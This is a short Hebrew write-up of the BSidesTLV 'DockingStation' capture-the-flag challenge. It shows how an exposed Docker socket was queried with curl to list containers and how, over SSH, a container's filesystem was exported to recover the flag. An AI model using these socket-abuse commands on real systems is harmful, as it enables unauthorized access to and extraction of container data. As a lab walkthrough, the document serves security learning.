DockingStation
נכתב על ידי Yaakov Cohen
התחברנו לשרת ואחרי קצת חיפושים גילינו שהם השאירו את docker.sock
פתוח. בואו נבדוק איזה מידע אנחנו יכולים לקבל.
הרצנו curl --unix-socket /var/run/docker.sock http/containers/json?all=1
וקיבלנו רשימה של 4 קונטיינרים. רק הראשון רלוונטי לנו:
{
"Status":"Exited (0) 9 seconds ago",
"Created":1524850803,
"Image":"galf",
"Labels":{
},
"NetworkSettings":{
"Networks":{
"bridge":{
"NetworkID":"f250e236279a20bf205671734599f38a59e860b6721a23c7f6f27853f9bcfbc3",
"MacAddress":"",
"GlobalIPv6PrefixLen":0,
"Links":null,
"GlobalIPv6Address":"",
"IPv6Gateway":"",
"DriverOpts":null,
"IPAMConfig":null,
"EndpointID":"",
"IPPrefixLen":0,
"IPAddress":"",
"Gateway":"",
"Aliases":null
}
}
},
"HostConfig":{
"NetworkMode":"default"
},
"ImageID":"sha256:5d71b54050f66b67ed0d183b76796da57a5b5f28ffd6f15b554b06ab0c8c3914",
"State":"exited",
"Command":"/galf.sh",
"Names":[
"/elated_morse"
],
"Mounts":[
],
"Id":"7fbd7d717462b5510a0066a4e33884e6b73877e837379bf1c196679c7f504825",
"Ports":[
]
}
בגלל שהמערכת איפשרה קריאה בלבד את השלב הבא ביצענו על המחשב שלנו:
ssh [email protected] -p 2222 "curl --unix-socket /var/run/docker.sock http:/v1.24/containers/7fbd7d717462b5510a0066a4e33884e6b73877e837379bf1c196679c7f504825/export" > galf.tar
המספר הארוך זה ה-Id של הקונטיינר שאנחנו מנסים להוציא, galf
זה flag
בהיפוך אותיות.
אחרי שהקובץ סיים לדת חילצנו אותו ומצאנו סקריפט בשם galf.sh
:
#!/bin/bash
ls -la /home/flag_is_here
בתיקייה /home/flag_is_here
מצאנו flag.txt
: BSidesTLV{i_am_r34dy_t0_esc4p3_th3_d0ck3r!}